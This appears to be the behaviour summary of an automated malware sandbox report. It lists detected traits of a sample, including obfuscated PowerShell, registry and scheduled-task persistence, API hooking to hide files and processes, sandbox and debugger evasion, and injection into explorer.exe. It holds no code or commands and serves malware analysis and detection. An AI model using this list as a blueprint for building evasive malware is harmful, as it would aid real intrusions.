System Summary

Malicious sample detected (through community Yara rule)

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Obfuscated command line found

Suspicious command line found

Suspicious powershell command line found

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Creates autostart registry keys with suspicious names

Creates autostart registry keys with suspicious values (likely registry only malware)

Uses schtasks.exe or at.exe to add and modify task schedules

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Anti Debugging

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion

.NET source code contains process injector

.NET source code references suspicious native API functions

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Modifies the context of a thread in another process (thread injection)

Sets debug register (to hijack the execution of another thread)

Writes to foreign memory regions
